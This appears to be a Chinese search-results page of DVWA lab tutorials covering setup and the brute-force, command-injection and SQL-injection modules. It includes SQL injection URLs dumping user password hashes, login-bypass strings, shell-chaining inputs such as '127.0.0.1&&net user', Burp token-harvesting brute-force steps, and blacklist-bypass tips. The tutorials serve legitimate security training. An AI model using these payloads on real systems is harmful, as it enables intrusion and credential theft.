精华内容
参与话题
问答
  • DVWA简介 DVWA(Damn Vulnerable Web Application)是一个用来进行代码安全测试的PHP/MySQL Web应用 可以用来 测试 工具 ,也可以 理解web应用安全防范的过程。 DVWA模块 十个 分类 Brute Force ...

    DVWA简介

    DVWA(Damn Vulnerable Web Application)是一个用来进行代码安全测试PHP/MySQL Web应用

    可以用来 测试 工具 ,也可以 理解web应用安全防范的过程。

    DVWA模块

    十个

    分类
    Brute Force 暴力(破解)
    Command Injection (命令行注入)
    CSRF(跨站请求伪造)
    File Inclusion(文件包含)
    File Upload(文件上传)
    Insecure CAPTCHA(不安全的验证码)
    SQL Injection(SQL注入)
    SQL Injection(Blind)(SQL 盲注)
    XSS(Reflected)(反射型跨站脚本)
    XSS(Stored)(存储型跨站脚本)

    注意事项 :

    DVWA 1.9的代码分为四种安全级别:LowMediumHighImpossible
    初学者可以通过比较四种级别的代码,接触一些PHP代码审计的内容。

    一. 安装 DVWA

    1.将 Apache ,PHP , MySQL配置好以后

    将官网下载目录解压到 到一个文件夹 中,

    配置Apache ,在其中再开一个端口 虚拟主机,用来支持 DVWA

    • 首先在apache的配置目录下,修改ports.conf,该文件是apache监听端口 配置文件。
    • 仿照Listen 80在其后添加了一句话Listen 8800,让apache 打开8800端口 监听 ,
    • 该端口随后将 配置 于对 DVWA 的访问。
      sd

    配置DVWA在apache中的VirtualHost虚拟主机映射。

    sd
    由目录 和 apache2.conf可知
    主配置文件为 apache2.conf , mods(启用 与 可启用) 为 模块配置文件夹 , site 为 web 应用 虚拟主机配置
    其余conf 如,apache编码等其余配置 都在这个文件夹中

    打开 sites-enabled文件夹 , 该文件夹下都是一些启用 的 web应用使用的虚拟主机的配置,
    都是一些 软连接,其实际文件处于sites-avaiable文件夹中 . (节省时间,和空间,方便启用)

    所以我们 先打开主配置文件 将Directory 写进去 ,并修改为 DVWA 路径
    sd![

    后 按照 000-default.conf 默认配置文件 格式 配置DVWA
    新建 一个 命名为dvwa.conf 的配置文件,复制默认配置文件中的主要代码, 并修改为 DVWA 路径 , 虚拟 主机端口
    sa

    再执行’ln -s dvwa.conf ../site-enable/’ ,链接过去 ,完成配置

    该虚拟主机用DocumentRoot指明了 web应用的根目录,
    <Directory >指明了 服务器 对目录 /root/DVWA访问权限
    虚拟主机所处的端口为8800 (必须在全局配置(port.conf)中 监听才可以)。

    注:
    因为某些文件夹和文件需要与服务器交互 ,所以需要有写的权限
    需要让hackable/uploads/以及/external/phpids/0.6/lib/IDS/tmp/phpids_log.txt具有写权限。

    这样的设置后,我们使用命令sudo a2ensite dvwa即可启用web应用DVWA,随后sudo service apache2 reload即可载入应用。

    打开config文件夹

    s

    修改config.inc.php.dist文件

    s

    db_database,db_user,db_password 一 一 修改匹配,保存文件,打开对应网址

    展开全文
  • DVWA安装使用

    2020-07-31 21:16:13
    学习笔记—DVWA 一、安装dvwa 步骤:https://www.cnblogs.com/sevenbug/p/11417100.html 注:修改成自己数据库的密码。 账号:admin 密码:password 安装test靶机 直接访问:192.168.1.102 安装web练习1 密码:...

    学习笔记—DVWA

    一、安装dvwa
    步骤:https://www.cnblogs.com/sevenbug/p/11417100.html
    注:修改成自己数据库的密码。
    在这里插入图片描述
    账号:admin 密码:password
    在这里插入图片描述
    安装test靶机
    在这里插入图片描述
    直接访问:192.168.1.102
    在这里插入图片描述
    安装web练习1
    密码:123456
    在这里插入图片描述
    在这里插入图片描述
    用dvwa进行注入:
    在这里插入图片描述
    参考一次重测案例:https://mp.weixin.qq.com/s/PJMtil2tO79o4xHLXdUhuw
    1
    1‘
    1‘ and 1=1
    1’ and ‘1’=’1’
    1’ and ‘1’=’2’
    1’or ‘1’='1
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    二、在火狐中操作:
    1.Dvwa 低sql手工
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1 or 1=1 order by 2 --+&Submit=Submit#
    在这里插入图片描述
    http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1 or 1=1&Submit=Submit#
    在这里插入图片描述
    http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1%27+or+1%3D1+order+by+2+%23&Submit=Submit#
    在这里插入图片描述
    http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1%27+or+1%3D1+order+by+3+%23&Submit=Submit#
    在这里插入图片描述
    http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1%27+union+select+user%2cpassword+from+dvwa.users+%23&Submit=Submit#
    在这里插入图片描述
    2.Dvwa 中sql手工
    在这里插入图片描述
    在这里插入图片描述
    http://127.0.0.1/dvwa/vulnerabilities/sqli/?id%20=1%20union%20select%20group_concat(user),group_concat(password)from%20dvwa.users%20–%20&Submit=submit#
    在这里插入图片描述
    id=2 union select 1,COLUM_NAME from information_schema.COLUMNS where TABLE_SCHEMA=0x64767761 and TABLE_NAME=0x7573657273 & Submit=Submit
    在这里插入图片描述
    3.Dvwa 高sql手工
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    4.Sql injection(Blind)
    在这里插入图片描述
    了解更多请关注下列公众号:
    在这里插入图片描述

    展开全文
  • DVWA使用教程(Brute Force)(一)

    万次阅读 多人点赞 2019-06-09 16:20:38
    DVWA使用教程(Brute Force)(一) DVWA是一个用来练习Web渗透的PHP应用。共有十个模块,分别是 1.Brute Force(爆破) 2.Command Injection(命令注入) 3.CSRF(跨站请求伪造) 4.File Inclusion(文件包含) 5....

    DVWA使用教程(Brute Force)(一)

    DVWA是一个用来练习Web渗透的PHP应用。共有十个模块,分别是
    1.Brute Force(爆破)

    2.Command Injection(命令注入)

    3.CSRF(跨站请求伪造)

    4.File Inclusion(文件包含)

    5.File Uplod(文件上传)

    6.Insecure CAPTCHA(不安全的验证码)

    7.SQL Inj(SQL注入)

    8.SQL B Inj(SQL盲注)

    9.XSS-ref(反射型xss)

    10.xss-stored(存储型xss)


    一、    简介
    Brute Force通过登录页面进入到该漏洞的测试位置。
    这个模块是用来测试暴力破解工具和展示不安全的开发实现。 

    二、    功能特点
    耗费时间比较长,基本是软件自动化测试,枚举完成所有请求,攻击开始后,手工操作的部分非常有限。


    三、    各防护等级简介
    low等级,对爆破攻击行为毫无设防。
    medium等级,对爆破攻击行为防护不足,防护做法欠考虑。
    hight等级,对爆破攻击行为有一定防护,但有疏忽。
    impossible等级,对爆破攻击行为正确防护。


    四、low代码模块剖析
    概述:low等级,对爆破攻击行为毫无设防。

    <?php
    if( isset( $_GET[ 'Login' ] ) ) {
        // Get username
        $user = $_GET[ 'username' ];
        // Get password
        $pass = $_GET[ 'password' ];
        $pass = md5( $pass );
        // Check the database
        $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
        if( $result && mysqli_num_rows( $result ) == 1 ) {
            // Get users details
            $row    = mysqli_fetch_assoc( $result );
            $avatar = $row["avatar"];
            // Login successful
            echo "<p>Welcome to the password protected area {$user}</p>";
            echo "<img src=\"{$avatar}\" />";
        }
        else {
            // Login failed
            echo "<pre><br />Username and/or password incorrect.</pre>";
        }
        ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
    }
    ?> 

    根据代码可以得知
    1.isset函数用来检测变量是否设置,并且不是 NULL。
    2.用户可以完全控制该参数,传参时给Login赋值即可满足条件继续执行。
    3.无论用户名还是密码都没有经过任何的过滤和检查。
    4.用户输入的用户名将原封不动传递到SQL语句中。
    5.用户输入的密码将进行md5散列后传递到SQL语句中。 

    爆破尝试,步骤如下。
     
     
     
    通过配置option选项可以让结果更直观些。

    五、medium代码模块剖析
    概述:medium等级,对爆破攻击行为防护不足,防护做法欠考虑。

    <?php
    if( isset( $_GET[ 'Login' ] ) ) {
        // Sanitise username input
        $user = $_GET[ 'username' ];
        $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        // Sanitise password input
        $pass = $_GET[ 'password' ];
        $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass = md5( $pass );
        // Check the database
        $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
        if( $result && mysqli_num_rows( $result ) == 1 ) {
            // Get users details
            $row    = mysqli_fetch_assoc( $result );
            $avatar = $row["avatar"];
            // Login successful
            echo "<p>Welcome to the password protected area {$user}</p>";
            echo "<img src=\"{$avatar}\" />";
        }
        else {
            // Login failed
            sleep( 2 );
            echo "<pre><br />Username and/or password incorrect.</pre>";
        }
        ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
    }
    ?>

    根据代码可以得知
    1.isset函数用来检测变量是否设置,并且不是 NULL。
    2.用户可以完全控制该参数,传参时给Login赋值即可满足条件继续执行。
    3.用户名部分使用mysqli_real_escape_string(str)函数用户名的特殊符号(\x00,\n,\r,\,‘,“,\x1a)(ascii码0,换行,回车,回退)进行转义,除宽字节注入外,可以抵抗其余SQL注入。
    4.用户输入的密码将进行md5散列后传递到SQL语句中。
    5. 如果密码输错了,则延时两秒之后才能再次提交。

    爆破部分尝试与low代码部分一样。

    六、High代码模块剖析
    概述:hight等级,对爆破攻击行为有一定防护,但有疏忽。

    <?php
    if( isset( $_GET[ 'Login' ] ) ) {
        // Check Anti-CSRF token
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
        // Sanitise username input
        $user = $_GET[ 'username' ];
        $user = stripslashes( $user );
        $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        // Sanitise password input
        $pass = $_GET[ 'password' ];
        $pass = stripslashes( $pass );
        $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass = md5( $pass );
        // Check database
        $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
        if( $result && mysqli_num_rows( $result ) == 1 ) {
            // Get users details
            $row    = mysqli_fetch_assoc( $result );
            $avatar = $row["avatar"];
            // Login successful
            echo "<p>Welcome to the password protected area {$user}</p>";
            echo "<img src=\"{$avatar}\" />";
        }
        else {
            // Login failed
            sleep( rand( 0, 3 ) );
            echo "<pre><br />Username and/or password incorrect.</pre>";
        }
        ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
    }
    // Generate Anti-CSRF token
    generateSessionToken();
    ?>

    根据代码可以得知
    1.isset函数用来检测变量是否设置,并且不是 NULL。
    2.用户可以完全控制该参数,传参时给Login赋值即可满足条件继续执行。
    3. 校验token,每次都需要更新token。
    3.用户名部分使用,stripslashes(str)函数去除用户名中出现的反斜线。然后再使用mysqli_real_escape_string(str)函数用户名的特殊符号(\x00,\n,\r,\,‘,“,\x1a)(ascii码0,换行,回车,回退)进行转义,完全抵抗SQL注入。
    4.用户输入的密码将进行md5散列后传递到SQL语句中。
    5. 如果密码输错了,则延时0-3秒之后才能再次提交。

    爆破尝试,步骤如下。

    抓取数据包

    Attack type选择Pitchfork。将passwod和user_token设置攻击位置(attack position)

    在options栏找到Grep – Extract,点击Add,弹出的界面中点击Refetch response,进行一个请求,即可看到响应报文,直接选取需要提取的字符串,上面的会自动填入数据的起始和结束标识。

    线程设置为1

    返回Welcome时标注打钩。

    注意设置跳转跟随。
    ( Never(从来没有) - 入侵者不会遵循任何重定向。 On-site only(现场唯一的) - 入侵者只会跟随重定向到同一个网页“网站” ,即使用相同的主机,端口和协议的是在原始请求使用的URL 。 In-scope only(调查范围内的唯一) - Intruder只会跟随重定向到该套件范围的目标范围之内的URL 。 Always(总是) - Intruder将遵循重定向到任何任何URL 。您应使用此选项时应谨慎 - 偶尔, Web应用程序在中继重定向到第三方的请求参数,并按照重定向你可能会不小心攻击。)

    结果如下,没发生302跳转,成功跑出密码。上一次访问得到的token作为了本次请求的参数。而且从响应信息上也可以看到,没有提示token错误。不过这里注意到,字典的前几个元素不正常,这是因为burp每次开启爆破任务前都要进行payload空负载请求。这导致字典的第一个元素将得不到合适token,如果密码恰巧在第一个就白忙活了。
     
     

    七、Impos代码模块剖析

    <?php
    if( isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset ($_POST['password']) ) {
        // Check Anti-CSRF token
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
        // Sanitise username input
        $user = $_POST[ 'username' ];
        $user = stripslashes( $user );
        $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        // Sanitise password input
        $pass = $_POST[ 'password' ];
        $pass = stripslashes( $pass );
        $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass = md5( $pass );
        // Default values
        $total_failed_login = 3;
        $lockout_time       = 15;
        $account_locked     = false;
     
        // Check the database (Check user information)
        $data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
        $data->bindParam( ':user', $user, PDO::PARAM_STR );
        $data->execute();
        $row = $data->fetch();
        // Check to see if the user has been locked out.
        if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) )  {
            // User locked out.  Note, using this method would allow for user enumeration!
            //echo "<pre><br />This account has been locked due to too many incorrect logins.</pre>";
            // Calculate when the user would be allowed to login again
            $last_login = strtotime( $row[ 'last_login' ] );
            $timeout    = $last_login + ($lockout_time * 60);
            $timenow    = time();
            /*
            print "The last login was: " . date ("h:i:s", $last_login) . "<br />";
            print "The timenow is: " . date ("h:i:s", $timenow) . "<br />";
            print "The timeout is: " . date ("h:i:s", $timeout) . "<br />";
            */
            // Check to see if enough time has passed, if it hasn't locked the account
            if( $timenow < $timeout ) {
                $account_locked = true;
                // print "The account is locked<br />";
            }
        }
        // Check the database (if username matches the password)
        $data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
        $data->bindParam( ':user', $user, PDO::PARAM_STR);
        $data->bindParam( ':password', $pass, PDO::PARAM_STR );
        $data->execute();
        $row = $data->fetch();
        // If its a valid login...
        if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {
            // Get users details
            $avatar       = $row[ 'avatar' ];
            $failed_login = $row[ 'failed_login' ];
            $last_login   = $row[ 'last_login' ];
            // Login successful
            echo "<p>Welcome to the password protected area <em>{$user}</em></p>";
            echo "<img src=\"{$avatar}\" />";
            // Had the account been locked out since last login?
            if( $failed_login >= $total_failed_login ) {
                echo "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";
                echo "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>";
            }
            // Reset bad login count
            $data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );
            $data->bindParam( ':user', $user, PDO::PARAM_STR );
            $data->execute();
        } else {
            // Login failed
            sleep( rand( 2, 4 ) );
            // Give the user some feedback
            echo "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>";
            // Update bad login count
            $data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
            $data->bindParam( ':user', $user, PDO::PARAM_STR );
            $data->execute();
        }
        // Set the last login time
        $data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );
        $data->bindParam( ':user', $user, PDO::PARAM_STR );
        $data->execute();
    }
    // Generate Anti-CSRF token
    generateSessionToken();
    ?>

    根据代码可以得知
    1.isset函数用来检测变量是否设置,并且不是 NULL。
    2.用户可以完全控制该参数,传参时给Login赋值即可满足条件继续执行。
    3. 校验token,每次都需要更新token。
    3.用户名部分使用,stripslashes(str)函数去除用户名中出现的反斜线。然后再使用mysqli_real_escape_string(str)函数用户名的特殊符号(\x00,\n,\r,\,‘,“,\x1a)(ascii码0,换行,回车,回退)进行转义,完全抵抗SQL注入。
    4.用户输入的密码将进行md5散列后传递到SQL语句中。
    5. 当用户登录失败达到3次,锁定账号15分钟,同时采用了更为安全的PDO(PHP Data Object)机制防御sql注入。PDO执行任何数据库操作分两步操作,用户输入的部分属于第二步,即使包含命令也不会执行。

    八、注入的做法
    在low模块中,可以使用注入的方法登录。注意的是,程序结果集中只有一条数据才能登陆成功。密码参数会进行md5散列,故注入的位置只能是用户名处。可以是 ‘ or 1=1#  或者 ‘ or 1=1 limit 1,1# ,把#换成两个减号也可以,这里没有任何输入过滤,注入起来很是方便。

    九、小结
    内容比较多,学习dvwa的暴力破解模块颇为耗时。从代码审计,到研究burp爆破的各种操作。遇到不懂的地方查阅资料,前前后后花了近十五小时。端午节放假三天,想多学点,没出去嗨。如此一来,本文便是端午节送给自己的礼物了。

    展开全文
  • DVWA使用教程(Command Injection)(二) DVWA是一个用来练习Web渗透的PHP应用。共有十个模块,分别是 1.Brute Force(爆破) 2.Command Injection(命令注入) 3.CSRF(跨站请求伪造) 4.File Inclusion(文件...

    DVWA使用教程(Command Injection)(二)

     

    DVWA是一个用来练习Web渗透的PHP应用。共有十个模块,分别是

    1.Brute Force(爆破)

    2.Command Injection(命令注入)

    3.CSRF(跨站请求伪造)

    4.File Inclusion(文件包含)

    5.File Uplod(文件上传)

    6.Insecure CAPTCHA(不安全的验证码)

    7.SQL Inj(SQL注入)

    8.SQL B Inj(SQL盲注)

    9.XSS-ref(反射型xss)

    10.xss-stored(存储型xss)

     

    一、    简介

    命令注入(Command Injection)漏洞主要由函数参数过滤不严产生。用户的输入被带到系统命令中执行。

     

    二、    功能特点

    利用各种调用系统命令的web应用,通过命令拼接、绕过黑名单等方式实现在服务端实现想要实现的系统命令。

     

    三、    各防护等级简介

    low等级,对命令注入行为毫无设防。

    medium等级,对命令注入行为防护不足,防护做法欠考虑。

    hight等级,对命令注入行为有一定防护,但有疏忽。

    impossible等级,对命令注入行为正确防护。

     

    四、基础知识补充

    命令区别(&、|、&&、||)

    &起到连接命令的作用,不管前一条命令是否执行成功,下一条都会接着执行。

    |起到管道的作用,前一条命令的输出,作为下一条命令的输入,只打印最后一条命令的执行结果。

    &&和||比较常见,就不多说了。

     

    五、low代码模块剖析

    概述:low等级,对命令注入行为毫无设防。

    <?php
    
    if( isset( $_POST[ 'Submit' ]  ) ) {
    
        // Get input
    
        $target = $_REQUEST[ 'ip' ];
    
        // Determine OS and execute the ping command.
    
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
    
            // Windows
    
            $cmd = shell_exec( 'ping  ' . $target );
    
        }
    
        else {
    
            // *nix
    
            $cmd = shell_exec( 'ping  -c 4 ' . $target );
    
        }
    
        // Feedback for the end user
    
        echo "<pre>{$cmd}</pre>";
    
    }
    
    ?>

     

    根据代码可以得知

    1.isset函数用来检测变量是否设置,并且不能是 NULL。

    2.用户可以完全控制该参数,传参时给Submit赋值即可满足条件继续执行。

    3.IP地址输入框,没有经过任何的过滤和检查。

    4.IP地址输入框将原封不动传递到ping语句中。

    5.php_uname('a'),函数会返回运行 php 的操作系统的相关描述。

    6.stristr函数搜索字符串,在另一字符串中的第一次出现,大小写不敏感。返回字符串的剩余部分(从匹配点),如果未找到所搜索的字符串,则返回false。

     

    Ping 127.0.0.1&&net user执行结果:

     

    六、medium代码模块剖析

    概述:medium等级,对命令注入行为防护不足,防护做法欠考虑。


     

    <?php
    
    if( isset( $_POST[ 'Submit' ]  ) ) {
    
        // Get input
    
        $target = $_REQUEST[ 'ip' ];
    
        // Set blacklist
    
        $substitutions = array(
    
            '&&' => '',
    
            ';'  => '',
    
        );
    
        // Remove any of the charactars in the array (blacklist).
    
        $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
    
        // Determine OS and execute the ping command.
    
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
    
            // Windows
    
            $cmd = shell_exec( 'ping  ' . $target );
    
        }
    
        else {
    
            // *nix
    
            $cmd = shell_exec( 'ping  -c 4 ' . $target );
    
        }
    
        // Feedback for the end user
    
        echo "<pre>{$cmd}</pre>";
    
    }
    
    ?>
    
    

    根据代码可以得知

    1.isset函数用来检测变量是否设置,并且不能是 NULL。

    2.用户可以完全控制该参数,传参时给Submit赋值即可满足条件继续执行。

    3.用户输入部分使用str_replace()函数过滤,过滤(&& , ;)字符。

    4.过滤非法字符是一种黑名单策略,这种策略不安全。

     

    执行结果:

    Ping 127.0.0.1&net user

     

    七、High代码模块剖析

    概述:hight等级,对命令注入行为有一定防护,但有疏忽。

    <?php
    
    if( isset( $_POST[ 'Submit' ]  ) ) {
    
        // Get input
    
        $target = trim($_REQUEST[ 'ip' ]);
    
        // Set blacklist
    
        $substitutions = array(
    
            '&'  => '',
    
            ';'  => '',
    
            '| ' => '',
    
            '-'  => '',
    
            '$'  => '',
    
            '('  => '',
    
            ')'  => '',
    
            '`'  => '',
    
            '||' => '',
    
        );
    
        // Remove any of the charactars in the array (blacklist).
    
        $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
    
        // Determine OS and execute the ping command.
    
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
    
            // Windows
    
            $cmd = shell_exec( 'ping  ' . $target );
    
        }
    
        else {
    
            // *nix
    
            $cmd = shell_exec( 'ping  -c 4 ' . $target );
    
        }
    
        // Feedback for the end user
    
        echo "<pre>{$cmd}</pre>";
    
    }
    
    ?>

     

    根据代码可以得知

    1.isset函数用来检测变量是否设置,并且不能是 NULL。

    2.用户可以完全控制该参数,传参时给Submit赋值即可满足条件继续执行。

    3.用户输入部分使用str_replace()函数过滤,过滤(&& , ;)字符。

    4.过滤非法字符是一种黑名单策略,这种策略不安全,与上一个等级相比,仅是丰富了黑名单。

     

    执行结果:

    Ping 127.0.0.1|net user

     

     

     

    八、Impossible代码模块剖析

     

    概述:impossible等级,对命令注入行为正确防护。

    <?php
    
    if( isset( $_POST[ 'Submit' ]  ) ) {
    
        // Check Anti-CSRF token
    
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    
        // Get input
    
        $target = $_REQUEST[ 'ip' ];
    
        $target = stripslashes( $target );
    
        // Split the IP into 4 octects
    
        $octet = explode( ".", $target );
    
        // Check IF each octet is an integer
    
        if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
    
            // If all 4 octets are int's put the IP back together.
    
            $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
    
            // Determine OS and execute the ping command.
    
            if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
    
                // Windows
    
                $cmd = shell_exec( 'ping  ' . $target );
    
            }
    
            else {
    
                // *nix
    
                $cmd = shell_exec( 'ping  -c 4 ' . $target );
    
            }
    
            // Feedback for the end user
    
            echo "<pre>{$cmd}</pre>";
    
        }
    
        else {
    
            // Ops. Let the user name theres a mistake
    
            echo '<pre>ERROR: You have entered an invalid IP.</pre>';
    
        }
    
    }
    
    // Generate Anti-CSRF token
    
    generateSessionToken();
    
    ?>

     

    根据代码可以得知

    1.isset函数用来检测变量是否设置,并且不能是 NULL。

    2.用户可以完全控制该参数,传参时给Submit赋值即可满足条件继续执行。

    3.用户输入部分使用stripslashes()函数过滤,函数删除字符串内所有反斜杠。

    4.explode()函数以.为分割,把字符串切成数组。

    5.is_numeric()检测string是否为数字或数字字符串。这样命令中仅能包含数字。

    6.Generate Anti-CSRF token,生成反CSRF令牌。给命令盲注带来一定难度。

     

    九、小结

    有些不显示输出结果的命令,可以再拼接一条延时命令来校验是否成功执行。

    比如:ping 127.0.0.1 -n 5>nul  或者使用远程请求来监测,远程命令有 wget和curl。

    命令注入关键在绕过。黑名单策略不够安全,攻破只是时间问题。比如whoami命令可以拆成 who”“am”“i 如果攻击者脑洞够大,绕过的技巧五花八门。黑名单试图穷举攻击者的绕过手法,这显然不现实。正确的做法有1.对非法字符进行转义 2.对反斜杠进行过滤。

    展开全文
  • DVWA使用教程(File Inclusion)(四)

    千次阅读 2019-06-16 17:38:27
    DVWA使用教程(File Inclusion)(四) DVWA是一个用来练习Web渗透的PHP应用。共有十个模块,分别是 1.Brute Force(爆破) 2.Command Injection(命令注入) 3.CSRF(跨站请求伪造) 4.File Inclusion(文件包含) 5...
  • DVWA使用教程(SQL injection)(七)

    千次阅读 2019-06-23 11:52:48
    DVWA使用教程(SQL injection)(七) DVWA是一个用来练习Web渗透的PHP应用。共有十个模块,分别是 1.Brute Force(爆破) 2.Command Injection(命令注入) 3.CSRF(跨站请求伪造) 4.File Inclusion(文件包含) 5....
  • 在low等级中,查看源代码我们可以得知: <?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $target = $_REQUEST[ 'ip' ]; // Determine OS and execute the ping command. if( stristr( php_uname...
  • Web漏洞实战教程DVWA使用.............................................
  • DVWA中,每一个测试模块都有四个安全等级,四个安全等级由低到高。如下所示每个不同的安全等级源代码都会有不一样的过滤方法,我们从初步(low)开始。 点击Brute Force爆破模块,点击右下角的View Source就可以...
  • 本文使用DVWA靶场

    2020-06-08 20:30:48
    本人使用DVWA的版本。DVWA(Damn Vulnerable Web App)是一个基于PHP/MySql搭建的Web应用程序,旨在为安全专业人员测试自己的专业技能和工具提供合法的 环境,帮助Web开发者更好的理解Web应用安全防范的过程。
  • DVWA的搭建和使用

    万次阅读 多人点赞 2018-07-26 09:23:56
    2018.7.17 DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用,旨在为...DVWA共有十个模块,分别是: Brute Force(暴力(破解)) Command Injection(命令行注入) CS...
  • dvwa安装和使用指南

    万次阅读 2017-07-11 09:50:02
    说明本手册作为教学的一部分供大家参考。 具体的关于web漏洞的学习大家可以参考《web渗透测试-常见漏洞解析课程》 ...--------------------------------------- ...DVWA(dema vulnerable web app
  • Web漏洞实战教程DVWA使用dvwa low级别 全套教程。
  • DVWA

    千次阅读 2016-05-30 12:46:44
    安装 安装XAMPP sudo ./xampp-linux-x64-5.6.8-0-installer.run 设置XAMPP安全 sudo /opt/lampp/xampp secrrity 因为是一个随便玩的服务器,可以把所有密码都设置为asdasd sudo /opt/lamp/xampp start ...
  • 【工具-DVWADVWA的安装和使用

    千次阅读 2019-10-15 15:19:05
    1 Wamp安装 ... ... 安装过程:很简单,略 ...配置:安装路径的bin路径下包含Apache+Mysql+PHP,如果使用中出现端口冲突等,需要修改配置的情况,可以自行到对应路径下修改配置,一般来说默认配置够...
  • phpstudy搭建DVWA

    万次阅读 2017-04-30 21:15:34
    首先下载phpstudy和DVWA。 http://www.phpstudy.net/ http://www.dvwa.co.uk/ 将DVWA解压后复制到phpstudy目录下的WWW目录。如图 用记事本打开DVWA/config/config.inc.php文件,修改密码。 保存。 ...
  • dvwa

    2020-08-03 03:44:20
    Brute Force low 直接爆破 ...admin’ or ‘1’=‘1 admin’# medium 加了一个sleep(2),操作一样,多了个喝茶的时间。...有了token验证,理论上要把上次返回的token,修改到这一次token,但脚本我不会 ...
  • The aim of DVWA is to practice some of the most common web vulnerabilities, with various levels of difficulty, with a simple straightforward interface. Please note, there are both documented and ...
  • 使用DVWA粗略练习笔记

    2018-10-30 20:27:00
    DVWA简介  DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助web开发者更好的理解web应用安全防范的过程...
